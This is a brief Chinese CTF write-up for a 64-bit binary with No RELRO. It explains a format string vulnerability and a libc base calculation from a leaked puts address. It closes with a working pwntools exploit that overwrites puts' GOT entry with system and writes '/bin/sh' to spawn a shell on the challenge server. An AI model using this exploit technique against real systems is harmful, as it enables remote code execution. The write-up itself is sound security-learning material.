查看发现是个64位文件,打开了canary
我们看到了No RELRO知道这里的got表是可以修改的
当RELRO保护为NO RELRO的时候,init.array、fini.array、got.plt均可读可写;为PARTIAL RELRO的时候,ini.array、fini.array可读不可写,got.plt可读可写;为FULL RELRO时,init.array、fini.array、got.plt均可读不可写
看到了printf(s)发现是格式化字符串漏洞
我们发现这道题是没有binsh和system的,加上题目给我们的libc我们知道这里需要我们自己计算地址
返回main,我们发现这里泄露了puts的地址,我们可以计算出它的基址。
双击puts(xx),我们发现它存在data段中,我们修改它为system('/bin/sh')
发现偏移为6
exp:
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote('node5.anna.nssctf.cn','23222')
elf = ELF('/home/xp/tm/bin/1')
libc = ELF('/home/xp/libc/libc-2.31.so')
io.recvuntil(b'0x')
puts_got = elf.got['puts']
puts_addr = int(io.recv(12),16)
base = puts_addr - libc.sym['puts']
system = base + libc.sym['system']
payload = fmtstr_payload(6,{puts_got:system,0x403878:b'/bin/sh\x00'})
io.sendlineafter('it',payload)
io.interactive()
得到flag